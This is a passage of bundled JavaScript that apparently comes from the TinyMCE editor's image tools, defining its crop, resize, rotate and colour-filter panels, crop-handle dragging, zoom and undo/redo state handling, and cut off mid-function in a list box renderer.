Container.sketch({ dom: panelDom, components: cropPanelComponents.map(function (mem) { return mem.asSpec(); }), containerBehaviours: derive$1([config('image-tools-crop-buttons-events', [ run$1(external.disable(), function (comp, _se) { disableAllComponents(cropPanelComponents, comp); }), run$1(external.enable(), function (comp, _se) { enableAllComponents(cropPanelComponents, comp); }) ])]) }); var memSize = record(renderSizeInput({ name: 'size', label: Optional.none(), constrain: true, disabled: false }, providersBackstage)); var makeResizeTransform = function (width, height) { return function (ir) { return resize$1(ir, width, height); }; }; var resizePanelComponents = [ createBackButton(), createSpacer(), memSize, createSpacer(), createButton('Apply', function (button) { memSize.getOpt(button).each(function (sizeInput) { var value = Representing.getValue(sizeInput); var width = parseInt(value.width, 10); var height = parseInt(value.height, 10); var transform = makeResizeTransform(width, height); emitTransformApply(button, transform); }); }, false, true) ]; var ResizePanel = Container.sketch({ dom: panelDom, components: resizePanelComponents.map(function (mem) { return mem.asSpec(); }), containerBehaviours: derive$1([config('image-tools-resize-buttons-events', [ run$1(external.disable(), function (comp, _se) { disableAllComponents(resizePanelComponents, comp); }), run$1(external.enable(), function (comp, _se) { enableAllComponents(resizePanelComponents, comp); }) ])]) }); var makeValueTransform = function (transform, value) { return function (ir) { return transform(ir, value); }; }; var horizontalFlip = makeValueTransform(flip, 'h'); var verticalFlip = makeValueTransform(flip, 'v'); var counterclockwiseRotate = makeValueTransform(rotate, -90); var clockwiseRotate = makeValueTransform(rotate, 90); var flipRotateOnAction = function (comp, operation) { emitTempTransform(comp, operation); }; var flipRotateComponents = [ createBackButton(), createSpacer(), createIconButton('flip-horizontally', 'Flip horizontally', function (button) { flipRotateOnAction(button, horizontalFlip); }, false), createIconButton('flip-vertically', 'Flip vertically', function (button) { flipRotateOnAction(button, verticalFlip); }, false), createIconButton('rotate-left', 'Rotate counterclockwise', function (button) { flipRotateOnAction(button, counterclockwiseRotate); }, false), createIconButton('rotate-right', 'Rotate clockwise', function (button) { flipRotateOnAction(button, clockwiseRotate); }, false), createSpacer(), createApplyButton() ]; var FlipRotatePanel = Container.sketch({ dom: panelDom, components: flipRotateComponents.map(function (mem) { return mem.asSpec(); }), containerBehaviours: derive$1([config('image-tools-fliprotate-buttons-events', [ run$1(external.disable(), function (comp, _se) { disableAllComponents(flipRotateComponents, comp); }), run$1(external.enable(), function (comp, _se) { enableAllComponents(flipRotateComponents, comp); }) ])]) }); var makeSlider = function (label, onChoose, min, value, max) { var labelPart = Slider.parts.label({ dom: { tag: 'label', classes: ['tox-label'], innerHtml: providersBackstage.translate(label) } }); var spectrum = Slider.parts.spectrum({ dom: { tag: 'div', classes: ['tox-slider__rail'], attributes: { role: 'presentation' } } }); var thumb = Slider.parts.thumb({ dom: { tag: 'div', classes: ['tox-slider__handle'], attributes: { role: 'presentation' } } }); return record(Slider.sketch({ dom: { tag: 'div', classes: ['tox-slider'], attributes: { role: 'presentation' } }, model: { mode: 'x', minX: min, maxX: max, getInitialValue: constant$1({ x: value }) }, components: [ labelPart, spectrum, thumb ], sliderBehaviours: derive$1([Focusing.config({})]), onChoose: onChoose })); }; var makeVariableSlider = function (label, transform, min, value, max) { var onChoose = function (slider, _thumb, value) { var valTransform = makeValueTransform(transform, value.x / 100); emitTransform(slider, valTransform); }; return makeSlider(label, onChoose, min, value, max); }; var variableFilterPanelComponents = function (label, transform, min, value, max) { return [ createBackButton(), makeVariableSlider(label, transform, min, value, max), createApplyButton() ]; }; var createVariableFilterPanel = function (label, transform, min, value, max) { var filterPanelComponents = variableFilterPanelComponents(label, transform, min, value, max); return Container.sketch({ dom: panelDom, components: filterPanelComponents.map(function (mem) { return mem.asSpec(); }), containerBehaviours: derive$1([config('image-tools-filter-panel-buttons-events', [ run$1(external.disable(), function (comp, _se) { disableAllComponents(filterPanelComponents, comp); }), run$1(external.enable(), function (comp, _se) { enableAllComponents(filterPanelComponents, comp); }) ])]) }); }; var filterPanelComponents = [ createBackButton(), createSpacer(), createApplyButton() ]; var FilterPanel = Container.sketch({ dom: panelDom, components: filterPanelComponents.map(function (mem) { return mem.asSpec(); }) }); var BrightnessPanel = createVariableFilterPanel('Brightness', brightness, -100, 0, 100); var ContrastPanel = createVariableFilterPanel('Contrast', contrast, -100, 0, 100); var GammaPanel = createVariableFilterPanel('Gamma', gamma, -100, 0, 100); var makeColorTransform = function (red, green, blue) { return function (ir) { return colorize(ir, red, green, blue); }; }; var makeColorSlider = function (label) { var onChoose = function (slider, _thumb, _value) { var redOpt = memRed.getOpt(slider); var blueOpt = memBlue.getOpt(slider); var greenOpt = memGreen.getOpt(slider); redOpt.each(function (red) { blueOpt.each(function (blue) { greenOpt.each(function (green) { var r = Representing.getValue(red).x / 100; var g = Representing.getValue(green).x / 100; var b = Representing.getValue(blue).x / 100; var transform = makeColorTransform(r, g, b); emitTransform(slider, transform); }); }); }); }; return makeSlider(label, onChoose, 0, 100, 200); }; var memRed = makeColorSlider('R'); var memGreen = makeColorSlider('G'); var memBlue = makeColorSlider('B'); var colorizePanelComponents = [ createBackButton(), memRed, memGreen, memBlue, createApplyButton() ]; var ColorizePanel = Container.sketch({ dom: panelDom, components: colorizePanelComponents.map(function (mem) { return mem.asSpec(); }) }); var getTransformPanelEvent = function (panel, transform, update) { return function (button) { var swap = function () { memContainer.getOpt(button).each(function (container) { Replacing.set(container, [panel]); update(container); }); }; emit$1(button, internal.swap(), { transform: transform, swap: swap }); }; }; var cropPanelUpdate = function (_anyInSystem) { imagePanel.showCrop(); }; var resizePanelUpdate = function (anyInSystem) { memSize.getOpt(anyInSystem).each(function (sizeInput) { var measurements = imagePanel.getMeasurements(); var width = measurements.width; var height = measurements.height; Representing.setValue(sizeInput, { width: width, height: height }); }); }; var sharpenTransform = Optional.some(sharpen); var invertTransform = Optional.some(invert); var buttonPanelComponents = [ createIconButton('crop', 'Crop', getTransformPanelEvent(CropPanel, Optional.none(), cropPanelUpdate), false), createIconButton('resize', 'Resize', getTransformPanelEvent(ResizePanel, Optional.none(), resizePanelUpdate), false), createIconButton('orientation', 'Orientation', getTransformPanelEvent(FlipRotatePanel, Optional.none(), noop$1), false), createIconButton('brightness', 'Brightness', getTransformPanelEvent(BrightnessPanel, Optional.none(), noop$1), false), createIconButton('sharpen', 'Sharpen', getTransformPanelEvent(FilterPanel, sharpenTransform, noop$1), false), createIconButton('contrast', 'Contrast', getTransformPanelEvent(ContrastPanel, Optional.none(), noop$1), false), createIconButton('color-levels', 'Color levels', getTransformPanelEvent(ColorizePanel, Optional.none(), noop$1), false), createIconButton('gamma', 'Gamma', getTransformPanelEvent(GammaPanel, Optional.none(), noop$1), false), createIconButton('invert', 'Invert', getTransformPanelEvent(FilterPanel, invertTransform, noop$1), false) ]; var ButtonPanel = Container.sketch({ dom: panelDom, components: buttonPanelComponents.map(function (mem) { return mem.asSpec(); }) }); var container = Container.sketch({ dom: { tag: 'div' }, components: [ButtonPanel], containerBehaviours: derive$1([Replacing.config({})]) }); var memContainer = record(container); var getApplyButton = function (anyInSystem) { return memContainer.getOpt(anyInSystem).map(function (container) { var panel = container.components()[0]; return panel.components()[panel.components().length - 1]; }); }; return { memContainer: memContainer, getApplyButton: getApplyButton }; }; var global$4 = tinymce.util.Tools.resolve('tinymce.geom.Rect'); var global$3 = tinymce.util.Tools.resolve('tinymce.util.Observable'); var global$2 = tinymce.util.Tools.resolve('tinymce.util.VK'); var getDocumentSize = function (doc) { var max = Math.max; var documentElement = doc.documentElement; var body = doc.body; var scrollWidth = max(documentElement.scrollWidth, body.scrollWidth); var clientWidth = max(documentElement.clientWidth, body.clientWidth); var offsetWidth = max(documentElement.offsetWidth, body.offsetWidth); var scrollHeight = max(documentElement.scrollHeight, body.scrollHeight); var clientHeight = max(documentElement.clientHeight, body.clientHeight); var offsetHeight = max(documentElement.offsetHeight, body.offsetHeight); return { width: scrollWidth < offsetWidth ? clientWidth : scrollWidth, height: scrollHeight < offsetHeight ? clientHeight : scrollHeight }; }; var isTouchEvent$1 = function (e) { return isNonNullable(e.changedTouches); }; var updateWithTouchData = function (e) { if (isTouchEvent$1(e)) { var keys = 'screenX screenY pageX pageY clientX clientY'.split(' '); for (var i = 0; i < keys.length; i++) { e[keys[i]] = e.changedTouches[0][keys[i]]; } } }; function DragHelper (id, settings) { var _a, _b, _c; var eventOverlay; var handleEvents = []; var overlayEvents = []; var doc = (_a = settings.document) !== null && _a !== void 0 ? _a : document; var root = (_b = settings.root) !== null && _b !== void 0 ? _b : doc; var sugarDoc = SugarElement.fromDom(doc); var downButton; var startX; var startY; var handleElement = SugarElement.fromDom(root.getElementById((_c = settings.handle) !== null && _c !== void 0 ? _c : id)); var start = function (e) { var rawEvent = e.raw; var docSize = getDocumentSize(doc); updateWithTouchData(rawEvent); e.prevent(); downButton = rawEvent.button; startX = rawEvent.screenX; startY = rawEvent.screenY; var cursor = get$c(handleElement, 'cursor'); eventOverlay = SugarElement.fromTag('div', doc); setAll(eventOverlay, { 'position': 'absolute', 'top': '0', 'left': '0', 'width': docSize.width + 'px', 'height': docSize.height + 'px', 'z-index': 2147483647 + '', 'opacity': '0.0001', cursor: cursor }); append$2(getBody(sugarDoc), eventOverlay); overlayEvents.push(bind(sugarDoc, 'mousemove', drag), bind(sugarDoc, 'touchmove', drag), bind(sugarDoc, 'mouseup', stop), bind(sugarDoc, 'touchend', stop)); settings.start(rawEvent); }; var drag = function (e) { var rawEvent = e.raw; updateWithTouchData(rawEvent); if (rawEvent.button !== downButton) { return stop(e); } rawEvent.deltaX = rawEvent.screenX - startX; rawEvent.deltaY = rawEvent.screenY - startY; e.prevent(); settings.drag(rawEvent); }; var stop = function (e) { updateWithTouchData(e.raw); each$1(overlayEvents, function (e) { return e.unbind(); }); overlayEvents = []; remove$5(eventOverlay); if (settings.stop) { settings.stop(e.raw); } }; var destroy = function () { each$1(overlayEvents.concat(handleEvents), function (e) { return e.unbind(); }); overlayEvents = []; handleEvents = []; if (isNonNullable(eventOverlay)) { remove$5(eventOverlay); } }; handleEvents.push(bind(handleElement, 'mousedown', start), bind(handleElement, 'touchstart', start)); return { destroy: destroy }; } var count = 0; var create$1 = function (currentRect, viewPortRect, clampRect, containerElm, action) { var dragHelpers; var events = []; var prefix = 'tox-'; var id = prefix + 'crid-' + count++; var container = SugarElement.fromDom(containerElm); var handles = [ { name: 'move', xMul: 0, yMul: 0, deltaX: 1, deltaY: 1, deltaW: 0, deltaH: 0, label: 'Crop Mask' }, { name: 'nw', xMul: 0, yMul: 0, deltaX: 1, deltaY: 1, deltaW: -1, deltaH: -1, label: 'Top Left Crop Handle' }, { name: 'ne', xMul: 1, yMul: 0, deltaX: 0, deltaY: 1, deltaW: 1, deltaH: -1, label: 'Top Right Crop Handle' }, { name: 'sw', xMul: 0, yMul: 1, deltaX: 1, deltaY: 0, deltaW: -1, deltaH: 1, label: 'Bottom Left Crop Handle' }, { name: 'se', xMul: 1, yMul: 1, deltaX: 0, deltaY: 0, deltaW: 1, deltaH: 1, label: 'Bottom Right Crop Handle' } ]; var blockers = [ 'top', 'right', 'bottom', 'left' ]; var getAbsoluteRect = function (outerRect, relativeRect) { return { x: relativeRect.x + outerRect.x, y: relativeRect.y + outerRect.y, w: relativeRect.w, h: relativeRect.h }; }; var getRelativeRect = function (outerRect, innerRect) { return { x: innerRect.x - outerRect.x, y: innerRect.y - outerRect.y, w: innerRect.w, h: innerRect.h }; }; var getInnerRect = function () { return getRelativeRect(clampRect, currentRect); }; var moveRect = function (handle, startRect, deltaX, deltaY) { var x = startRect.x + deltaX * handle.deltaX; var y = startRect.y + deltaY * handle.deltaY; var w = Math.max(20, startRect.w + deltaX * handle.deltaW); var h = Math.max(20, startRect.h + deltaY * handle.deltaH); var rect = currentRect = global$4.clamp({ x: x, y: y, w: w, h: h }, clampRect, handle.name === 'move'); rect = getRelativeRect(clampRect, rect); instance.fire('updateRect', { rect: rect }); setInnerRect(rect); }; var render = function () { var createDragHelper = function (handle) { var startRect; return DragHelper(id, { document: containerElm.ownerDocument, root: getRootNode(container).dom, handle: id + '-' + handle.name, start: function () { startRect = currentRect; }, drag: function (e) { moveRect(handle, startRect, e.deltaX, e.deltaY); } }); }; var cropContainer = SugarElement.fromTag('div'); setAll$1(cropContainer, { id: id, 'class': prefix + 'croprect-container', 'role': 'grid', 'aria-dropeffect': 'execute' }); append$2(container, cropContainer); each$1(blockers, function (blocker) { descendant(container, '#' + id).each(function (blockerElm) { var cropBlocker = SugarElement.fromTag('div'); setAll$1(cropBlocker, { 'id': id + '-' + blocker, 'class': prefix + 'croprect-block', 'data-mce-bogus': 'all' }); set$7(cropBlocker, 'display', 'none'); append$2(blockerElm, cropBlocker); }); }); each$1(handles, function (handle) { descendant(container, '#' + id).each(function (handleElm) { var cropHandle = SugarElement.fromTag('div'); setAll$1(cropHandle, { 'id': id + '-' + handle.name, 'aria-label': handle.label, 'aria-grabbed': 'false', 'data-mce-bogus': 'all', 'role': 'gridcell', 'tabindex': '-1', 'title': handle.label }); add$1(cropHandle, [ prefix + 'croprect-handle', prefix + 'croprect-handle-' + handle.name ]); set$7(cropHandle, 'display', 'none'); append$2(handleElm, cropHandle); }); }); dragHelpers = map$2(handles, createDragHelper); repaint(currentRect); var handleFocus = function (e) { set$8(e.target, 'aria-grabbed', e.raw.type === 'focus' ? 'true' : 'false'); }; var handleKeydown = function (e) { var activeHandle; each$1(handles, function (handle) { if (get$d(e.target, 'id') === id + '-' + handle.name) { activeHandle = handle; return false; } }); var moveAndBlock = function (evt, handle, startRect, deltaX, deltaY) { evt.stopPropagation(); evt.preventDefault(); moveRect(activeHandle, startRect, deltaX, deltaY); }; switch (e.raw.keyCode) { case global$2.LEFT: moveAndBlock(e, activeHandle, currentRect, -10, 0); break; case global$2.RIGHT: moveAndBlock(e, activeHandle, currentRect, 10, 0); break; case global$2.UP: moveAndBlock(e, activeHandle, currentRect, 0, -10); break; case global$2.DOWN: moveAndBlock(e, activeHandle, currentRect, 0, 10); break; case global$2.ENTER: case global$2.SPACEBAR: e.prevent(); action(); break; } }; events.push(bind(container, 'focusin', handleFocus), bind(container, 'focusout', handleFocus), bind(container, 'keydown', handleKeydown)); }; var toggleVisibility = function (state) { var selectors = __spreadArray(__spreadArray([], map$2(handles, function (handle) { return '#' + id + '-' + handle.name; }), true), map$2(blockers, function (blocker) { return '#' + id + '-' + blocker; }), true).join(','); var elems = descendants(container, selectors); if (state) { each$1(elems, function (elm) { return remove$6(elm, 'display'); }); } else { each$1(elems, function (elm) { return set$7(elm, 'display', 'none'); }); } }; var repaint = function (rect) { var updateElementRect = function (name, newRect) { descendant(container, '#' + id + '-' + name).each(function (elm) { setAll(elm, { left: newRect.x + 'px', top: newRect.y + 'px', width: Math.max(0, newRect.w) + 'px', height: Math.max(0, newRect.h) + 'px' }); }); }; each$1(handles, function (handle) { descendant(container, '#' + id + '-' + handle.name).each(function (elm) { setAll(elm, { left: rect.w * handle.xMul + rect.x + 'px', top: rect.h * handle.yMul + rect.y + 'px' }); }); }); updateElementRect('top', { x: viewPortRect.x, y: viewPortRect.y, w: viewPortRect.w, h: rect.y - viewPortRect.y }); updateElementRect('right', { x: rect.x + rect.w, y: rect.y, w: viewPortRect.w - rect.x - rect.w + viewPortRect.x, h: rect.h }); updateElementRect('bottom', { x: viewPortRect.x, y: rect.y + rect.h, w: viewPortRect.w, h: viewPortRect.h - rect.y - rect.h + viewPortRect.y }); updateElementRect('left', { x: viewPortRect.x, y: rect.y, w: rect.x - viewPortRect.x, h: rect.h }); updateElementRect('move', rect); }; var setRect = function (rect) { currentRect = rect; repaint(currentRect); }; var setViewPortRect = function (rect) { viewPortRect = rect; repaint(currentRect); }; var setInnerRect = function (rect) { setRect(getAbsoluteRect(clampRect, rect)); }; var setClampRect = function (rect) { clampRect = rect; repaint(currentRect); }; var destroy = function () { each$1(dragHelpers, function (helper) { return helper.destroy(); }); dragHelpers = []; each$1(events, function (e) { return e.unbind(); }); events = []; }; render(); var instance = __assign(__assign({}, global$3), { toggleVisibility: toggleVisibility, setClampRect: setClampRect, setRect: setRect, getInnerRect: getInnerRect, setInnerRect: setInnerRect, setViewPortRect: setViewPortRect, destroy: destroy }); return instance; }; var CropRect = { create: create$1 }; var loadImage = function (image) { return new global$c(function (resolve) { var loaded = function () { image.removeEventListener('load', loaded); resolve(image); }; if (image.complete) { resolve(image); } else { image.addEventListener('load', loaded); } }); }; var renderImagePanel = function (initialUrl) { var memBg = record({ dom: { tag: 'div', classes: ['tox-image-tools__image-bg'], attributes: { role: 'presentation' } } }); var zoomState = Cell(1); var cropRect = api$1(); var rectState = Cell({ x: 0, y: 0, w: 1, h: 1 }); var viewRectState = Cell({ x: 0, y: 0, w: 1, h: 1 }); var repaintImg = function (anyInSystem, img) { memContainer.getOpt(anyInSystem).each(function (panel) { var zoom = zoomState.get(); var panelW = get$a(panel.element); var panelH = get$b(panel.element); var width = img.dom.naturalWidth * zoom; var height = img.dom.naturalHeight * zoom; var left = Math.max(0, panelW / 2 - width / 2); var top = Math.max(0, panelH / 2 - height / 2); var css = { left: left.toString() + 'px', top: top.toString() + 'px', width: width.toString() + 'px', height: height.toString() + 'px', position: 'absolute' }; setAll(img, css); memBg.getOpt(panel).each(function (bg) { setAll(bg.element, css); }); cropRect.run(function (cRect) { var rect = rectState.get(); cRect.setRect({ x: rect.x * zoom + left, y: rect.y * zoom + top, w: rect.w * zoom, h: rect.h * zoom }); cRect.setClampRect({ x: left, y: top, w: width, h: height }); cRect.setViewPortRect({ x: 0, y: 0, w: panelW, h: panelH }); }); }); }; var zoomFit = function (anyInSystem, img) { memContainer.getOpt(anyInSystem).each(function (panel) { var panelW = get$a(panel.element); var panelH = get$b(panel.element); var width = img.dom.naturalWidth; var height = img.dom.naturalHeight; var zoom = Math.min(panelW / width, panelH / height); if (zoom >= 1) { zoomState.set(1); } else { zoomState.set(zoom); } }); }; var updateSrc = function (anyInSystem, url) { var img = SugarElement.fromTag('img'); set$8(img, 'src', url); return loadImage(img.dom).then(function () { if (anyInSystem.getSystem().isConnected()) { memContainer.getOpt(anyInSystem).map(function (panel) { var aImg = external$2({ element: img }); Replacing.replaceAt(panel, 1, Optional.some(aImg)); var lastViewRect = viewRectState.get(); var viewRect = { x: 0, y: 0, w: img.dom.naturalWidth, h: img.dom.naturalHeight }; viewRectState.set(viewRect); var rect = global$4.inflate(viewRect, -20, -20); rectState.set(rect); if (lastViewRect.w !== viewRect.w || lastViewRect.h !== viewRect.h) { zoomFit(panel, img); } repaintImg(panel, img); }); } }); }; var zoom = function (anyInSystem, direction) { var currentZoom = zoomState.get(); var newZoom = direction > 0 ? Math.min(2, currentZoom + 0.1) : Math.max(0.1, currentZoom - 0.1); zoomState.set(newZoom); memContainer.getOpt(anyInSystem).each(function (panel) { var img = panel.components()[1].element; repaintImg(panel, img); }); }; var showCrop = function () { cropRect.run(function (cRect) { cRect.toggleVisibility(true); }); }; var hideCrop = function () { cropRect.run(function (cRect) { cRect.toggleVisibility(false); }); }; var getRect = function () { return rectState.get(); }; var container = Container.sketch({ dom: { tag: 'div', classes: ['tox-image-tools__image'] }, components: [ memBg.asSpec(), { dom: { tag: 'img', attributes: { src: initialUrl } } }, { dom: { tag: 'div' }, behaviours: derive$1([config('image-panel-crop-events', [ runOnAttached(function (comp) { memContainer.getOpt(comp).each(function (container) { var el = container.element.dom; var cRect = CropRect.create({ x: 10, y: 10, w: 100, h: 100 }, { x: 0, y: 0, w: 200, h: 200 }, { x: 0, y: 0, w: 200, h: 200 }, el, noop); cRect.toggleVisibility(false); cRect.on('updateRect', function (e) { var rect = e.rect; var zoom = zoomState.get(); var newRect = { x: Math.round(rect.x / zoom), y: Math.round(rect.y / zoom), w: Math.round(rect.w / zoom), h: Math.round(rect.h / zoom) }; rectState.set(newRect); }); cropRect.set(cRect); }); }), runOnDetached(function () { cropRect.clear(); }) ])]) } ], containerBehaviours: derive$1([ Replacing.config({}), config('image-panel-events', [runOnAttached(function (comp) { updateSrc(comp, initialUrl); })]) ]) }); var memContainer = record(container); var getMeasurements = function () { var viewRect = viewRectState.get(); return { width: viewRect.w, height: viewRect.h }; }; return { memContainer: memContainer, updateSrc: updateSrc, zoom: zoom, showCrop: showCrop, hideCrop: hideCrop, getRect: getRect, getMeasurements: getMeasurements }; }; var createButton = function (innerHtml, icon, disabled, action, providersBackstage) { return renderIconButton({ name: innerHtml, icon: Optional.some(icon), disabled: disabled, tooltip: Optional.some(innerHtml), primary: false, borderless: false }, action, providersBackstage); }; var setButtonEnabled = function (button, enabled) { if (enabled) { Disabling.enable(button); } else { Disabling.disable(button); } }; var renderSideBar = function (providersBackstage) { var updateButtonUndoStates = function (anyInSystem, undoEnabled, redoEnabled) { memUndo.getOpt(anyInSystem).each(function (undo) { setButtonEnabled(undo, undoEnabled); }); memRedo.getOpt(anyInSystem).each(function (redo) { setButtonEnabled(redo, redoEnabled); }); }; var memUndo = record(createButton('Undo', 'undo', true, function (button) { emitWith(button, internal.undo(), { direction: 1 }); }, providersBackstage)); var memRedo = record(createButton('Redo', 'redo', true, function (button) { emitWith(button, internal.redo(), { direction: 1 }); }, providersBackstage)); var container = Container.sketch({ dom: { tag: 'div', classes: [ 'tox-image-tools__toolbar', 'tox-image-tools__sidebar' ] }, components: [ memUndo.asSpec(), memRedo.asSpec(), createButton('Zoom in', 'zoom-in', false, function (button) { emitWith(button, internal.zoom(), { direction: 1 }); }, providersBackstage), createButton('Zoom out', 'zoom-out', false, function (button) { emitWith(button, internal.zoom(), { direction: -1 }); }, providersBackstage) ] }); return { container: container, updateButtonUndoStates: updateButtonUndoStates }; }; function UndoStack () { var data = []; var index = -1; var add = function (state) { var removed = data.splice(++index); data.push(state); return { state: state, removed: removed }; }; var undo = function () { if (canUndo()) { return data[--index]; } }; var redo = function () { if (canRedo()) { return data[++index]; } }; var canUndo = function () { return index > 0; }; var canRedo = function () { return index !== -1 && index < data.length - 1; }; return { data: data, add: add, undo: undo, redo: redo, canUndo: canUndo, canRedo: canRedo }; } var makeState = function (initialState) { var blobState = Cell(initialState); var tempState = value$1(); var undoStack = UndoStack(); undoStack.add(initialState); var getBlobState = function () { return blobState.get(); }; var setBlobState = function (state) { blobState.set(state); }; var getTempState = function () { return tempState.get().getOrThunk(blobState.get); }; var updateTempState = function (blob) { var newTempState = createState(blob); destroyTempState(); tempState.set(newTempState); return newTempState.url; }; var createState = function (blob) { return { blob: blob, url: URL.createObjectURL(blob) }; }; var destroyState = function (state) { URL.revokeObjectURL(state.url); }; var destroyStates = function (states) { global$5.each(states, destroyState); }; var destroyTempState = function () { tempState.on(destroyState); tempState.clear(); }; var addBlobState = function (blob) { var newState = createState(blob); setBlobState(newState); var removed = undoStack.add(newState).removed; destroyStates(removed); return newState.url; }; var addTempState = function (blob) { var newState = createState(blob); tempState.set(newState); return newState.url; }; var applyTempState = function (postApply) { return tempState.get().fold(noop, function (temp) { addBlobState(temp.blob); postApply(); }); }; var undo = function () { var currentState = undoStack.undo(); setBlobState(currentState); return currentState.url; }; var redo = function () { var currentState = undoStack.redo(); setBlobState(currentState); return currentState.url; }; var getHistoryStates = function () { var undoEnabled = undoStack.canUndo(); var redoEnabled = undoStack.canRedo(); return { undoEnabled: undoEnabled, redoEnabled: redoEnabled }; }; return { getBlobState: getBlobState, setBlobState: setBlobState, addBlobState: addBlobState, getTempState: getTempState, updateTempState: updateTempState, addTempState: addTempState, applyTempState: applyTempState, destroyTempState: destroyTempState, undo: undo, redo: redo, getHistoryStates: getHistoryStates }; }; var renderImageTools = function (detail, providersBackstage) { var state = makeState(detail.currentState); var zoom = function (anyInSystem, simulatedEvent) { var direction = simulatedEvent.event.direction; imagePanel.zoom(anyInSystem, direction); }; var updateButtonUndoStates = function (anyInSystem) { var historyStates = state.getHistoryStates(); sideBar.updateButtonUndoStates(anyInSystem, historyStates.undoEnabled, historyStates.redoEnabled); emitWith(anyInSystem, external.formActionEvent, { name: external.saveState(), value: historyStates.undoEnabled }); }; var disableUndoRedo = function (anyInSystem) { sideBar.updateButtonUndoStates(anyInSystem, false, false); }; var undo = function (anyInSystem, _simulatedEvent) { var url = state.undo(); updateSrc(anyInSystem, url).then(function (_oImg) { unblock(anyInSystem); updateButtonUndoStates(anyInSystem); }); }; var redo = function (anyInSystem, _simulatedEvent) { var url = state.redo(); updateSrc(anyInSystem, url).then(function (_oImg) { unblock(anyInSystem); updateButtonUndoStates(anyInSystem); }); }; var imageResultToBlob = function (ir) { return ir.toBlob(); }; var block = function (anyInSystem) { emitWith(anyInSystem, external.formActionEvent, { name: external.disable(), value: {} }); }; var unblock = function (anyInSystem) { editPanel.getApplyButton(anyInSystem).each(function (applyButton) { Disabling.enable(applyButton); }); emitWith(anyInSystem, external.formActionEvent, { name: external.enable(), value: {} }); }; var updateSrc = function (anyInSystem, src) { block(anyInSystem); return imagePanel.updateSrc(anyInSystem, src); }; var blobManipulate = function (anyInSystem, blob, filter, action, swap) { block(anyInSystem); blobToImageResult(blob).then(filter).then(imageResultToBlob).then(action).then(function (url) { return updateSrc(anyInSystem, url); }).then(function () { updateButtonUndoStates(anyInSystem); swap(); unblock(anyInSystem); }).catch(function (err) { console.log(err); if (anyInSystem.getSystem().isConnected()) { unblock(anyInSystem); } }); }; var manipulate = function (anyInSystem, filter, swap) { var blob = state.getBlobState().blob; var action = function (blob) { return state.updateTempState(blob); }; blobManipulate(anyInSystem, blob, filter, action, swap); }; var tempManipulate = function (anyInSystem, filter) { var blob = state.getTempState().blob; var action = function (blob) { return state.addTempState(blob); }; blobManipulate(anyInSystem, blob, filter, action, noop); }; var manipulateApply = function (anyInSystem, filter, swap) { var blob = state.getBlobState().blob; var action = function (blob) { var url = state.addBlobState(blob); destroyTempState(anyInSystem); return url; }; blobManipulate(anyInSystem, blob, filter, action, swap); }; var apply = function (anyInSystem, simulatedEvent) { var postApply = function () { destroyTempState(anyInSystem); var swap = simulatedEvent.event.swap; swap(); }; state.applyTempState(postApply); }; var destroyTempState = function (anyInSystem) { var currentUrl = state.getBlobState().url; state.destroyTempState(); updateButtonUndoStates(anyInSystem); return currentUrl; }; var cancel = function (anyInSystem) { var currentUrl = destroyTempState(anyInSystem); updateSrc(anyInSystem, currentUrl).then(function (_oImg) { unblock(anyInSystem); }); }; var back = function (anyInSystem, simulatedEvent) { cancel(anyInSystem); var swap = simulatedEvent.event.swap; swap(); imagePanel.hideCrop(); }; var transform = function (anyInSystem, simulatedEvent) { return manipulate(anyInSystem, simulatedEvent.event.transform, noop); }; var tempTransform = function (anyInSystem, simulatedEvent) { return tempManipulate(anyInSystem, simulatedEvent.event.transform); }; var transformApply = function (anyInSystem, simulatedEvent) { return manipulateApply(anyInSystem, simulatedEvent.event.transform, simulatedEvent.event.swap); }; var imagePanel = renderImagePanel(detail.currentState.url); var sideBar = renderSideBar(providersBackstage); var editPanel = renderEditPanel(imagePanel, providersBackstage); var swap = function (anyInSystem, simulatedEvent) { disableUndoRedo(anyInSystem); var transform = simulatedEvent.event.transform; var swap = simulatedEvent.event.swap; transform.fold(function () { swap(); }, function (transform) { manipulate(anyInSystem, transform, swap); }); }; return { dom: { tag: 'div', attributes: { role: 'presentation' } }, components: [ editPanel.memContainer.asSpec(), imagePanel.memContainer.asSpec(), sideBar.container ], behaviours: derive$1([ Representing.config({ store: { mode: 'manual', getValue: function () { return state.getBlobState(); } } }), config('image-tools-events', [ run$1(internal.undo(), undo), run$1(internal.redo(), redo), run$1(internal.zoom(), zoom), run$1(internal.back(), back), run$1(internal.apply(), apply), run$1(internal.transform(), transform), run$1(internal.tempTransform(), tempTransform), run$1(internal.transformApply(), transformApply), run$1(internal.swap(), swap) ]), ComposingConfigs.self() ]) }; }; var renderLabel = function (spec, backstageShared) { var label = { dom: { tag: 'label', innerHtml: backstageShared.providers.translate(spec.label), classes: ['tox-label'] } }; var comps = map$2(spec.items, backstageShared.interpreter); return { dom: { tag: 'div', classes: ['tox-form__group'] }, components: [label].concat(comps), behaviours: derive$1([ ComposingConfigs.self(), Replacing.config({}), RepresentingConfigs.domHtml(Optional.none()), Keying.config({ mode: 'acyclic' }) ]) }; }; var isSingleListItem = function (item) { return !has$2(item, 'items'); }; var dataAttribute = 'data-value'; var fetchItems = function (dropdownComp, name, items, selectedValue) { return map$2(items, function (item) { if (!isSingleListItem(item)) { return { type: 'nestedmenuitem', text: item.text, getSubmenuItems: function () { return fetchItems(dropdownComp, name, item.items, selectedValue); } }; } else { return { type: 'togglemenuitem', text: item.text, value: item.value, active: item.value === selectedValue, onAction: function () { Representing.setValue(dropdownComp, item.value); emitWith(dropdownComp, formChangeEvent, { name: name }); Focusing.focus(dropdownComp); } }; } }); }; var findItemByValue = function (items, value) { return findMap(items, function (item) { if (!isSingleListItem(item)) { return findItemByValue(item.items, value); } else { return someIf(item.value === value, item); } }); }; var renderListBox = function (spec, backstage) { var providersBackstage = backstage.shared.providers; var initialItem = head(spec.items).filter(isSingleListItem); var pLabel = spec.label.map(function (label) { return renderLabel$2(label, providersBackstage); }); var pField = FormField.parts.field({ dom: {}, factory: { sketch: function (sketchSpec) { return renderCommonDropdown({ uid: sketchSpec.uid, text: initialItem.map(function (item) { return item.text; }), icon: Optional.none(), tooltip: spec.label, role: Optional.none(), fetch: function (comp, callback) { var items = fetchItems(comp, spec.name, spec.items, Representing.getValue(comp)); callback(build(items, ItemResponse$1.CLOSE_ON_EXECUTE, backstage, false)); }, onSetup: constant$1(noop), getApi: constant$1({}), columns: 1, presets: 'normal', classes: [], dropdownBehaviours: [ Tabstopping.config({}), Representing.config({ store: { mode: 'manual', initialValue: initialItem.map(function (item) { return item.value; }).getOr(''), getValue: function (comp) { return get$d(comp.element, dataAttribute); }, setValue: function (comp, data) { findItemByValue(spec.items, data).each(function (item) { 